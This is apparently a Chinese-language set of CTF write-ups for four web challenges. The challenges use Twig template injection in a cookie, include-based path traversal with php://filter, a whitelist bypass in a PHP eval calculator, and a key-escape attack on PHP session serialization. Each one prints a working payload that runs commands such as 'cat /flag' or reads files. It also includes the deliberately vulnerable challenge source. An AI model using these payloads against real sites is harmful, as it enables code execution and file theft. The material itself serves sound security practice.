[BJDCTF2020]Cookie is so stable
根据提示关注Cookie
在输入框里输入{{7*7}} 页面上回显49
cookie里多了user
但直接用burp重发却没有,因为cookie里没有user,要根据前面的发现自己添加注入
是Twig模板
payloadCookie: user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};
[BSidesCF 2020]Had a bad day
说明是include函数,并且会给参数添加.php后缀
明白一个小知识:
<?php
echo "123 page";
include('6/../flag'.'.php')
?>
flag.php和6.php在同一目录下,6/../flag这么读,是把6作为一个目录,而不存在6这个目录,../后跳转到和6同级的目录,再/flag即可读到文件(这里目录名任意adasd/../flag)
再尝试读取源码,用伪协议
不能加.php后缀
php://filter/convert.base64-encode/resource=index
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
include要包含woofers或meowers或index
先找flag在哪
?category=woofersaaaaa/../flag
源代码里有说明包含到这个文件了,flag.php在当前目录下,接下来要把这个文件flag.php源码读出来,用伪协议
由于include要包含woofers或meowers或index,可以
利用php://filter伪协议可以套一层协议
读取flag.php
php://filter/convert.base64-encode/indexadadad/resource=flag
[CISCN 2019 初赛]Love Math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
php中可以把函数名通过字符串的方式传递给一个变量
$a='system';
$a('ls');
构造:?c=$_GET[a]($_GET[b])&a=system&b=tac /flag
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag
[安洵杯 2019]easy_serialize_php
https://www.cnblogs.com/h3zh1/p/12732336.html
f=phpinfo
d0g3_f1ag.php文件自动包含文件末尾,先读出这个文件
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
代码中输出点:echo file_get_contents(base64_decode($userinfo['img']));
使$userinfo['img']=base64_encode('d0g3_f1ag.php')=ZDBnM19mMWFnLnBocA==
谁控制$userinfo['img']
extract($_POST);
变量覆盖函数会将SESSION的键值对全部覆盖,无论前面有多少个,只传了一个的话,那SESSION里就只会有这一个键值对了
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = '123123';
extract($_POST);
var_dump($_SESSION);
?>
通过这个控制SESSION['img_path']
有这句话,我们不能设置GET的img_path,这样会将执行sha1重新赋值,但是我们可以执行第一个base64_encode('guest_img.png');
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
base64_encode('guest_img.png')
$serialize_info = filter(serialize($_SESSION));
这句话可以序列化SESSION为字符串,并杯filter过滤,关键就在于filter过滤为空,使得我们可以在字符串上做手脚
$_SESSION['img'] = base64_encode('guest_img.png')这个变量是必有的,
但之前我们还可以通过extract($_POST)再传变量,后面一起序列化加过滤处理。
filter将字符串中的值过滤为空利用到了serialize的特性:
原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:"name",那s:4就必须有一个字符串长度是4的否则就往后要。
并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。
所以传一个_SESSION[php]=
尝试构造:
<?php
$_SESSION["flag"] = 'guest';
$_SESSION['img_path'] = base64_encode('guest_img.png');
$a = serialize($_SESSION);
echo $a;
?>
a:2:{s:4:"flag";s:5:"guest";s:8:"img_path";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
目的是获取:
a:2:{s:4:"flag";s:5:"guest";s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}"; 前面补一补构造一下 后面这里要被扔掉 s:8:"img_path";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
前面filter后
a:2:{s:4:"";s:5:"guest";s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}";
没成功,字符串格式串错了
再来
a:2:{s:8:"flagflag";s:5:"guest";s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}"; -->filter后
a:2:{s:8:"";s:5:"guest";s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}";
还是不行,应该要构造出刚好s:xx:"xxxxx"; s:1:1; s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}";
先加一个s:1:1;
a:2:{s:12:"flagflagflag";s:5:"guest";s:1:1;s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}"; -->filter后
a:2:{s:12:"";s:5:"guest";s:1:1;s:8:"img_path";s:20:"ZDBnM19mMWFnLnBocA==";}";
这样子反序列化回去就是,当然这种奇怪的那么多符号的字符串当然会报错,假如没有那些语法,那应该刚好对应
_SESSION["";s:5:"guest"] = "1";
_SESSION["img_path"] = "ZDBnM19mMWFnLnBocA==";
官方说法 键逃逸~
所以我们在extract($_POST)时 ,其实payload肯定有很多,找到规律后慢慢修改磨合,
POST内容:
_SESSION[flagflagflag]=gues";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
读取到了当前目录下d0g3_f1ag.php,新提示
源码里新提示,把
base64_encode(/d0g3_fllllllag)的base64值替换进去L2QwZzNfZmxsbGxsbGFn,刚好也是20位
再来一次即可拿到flag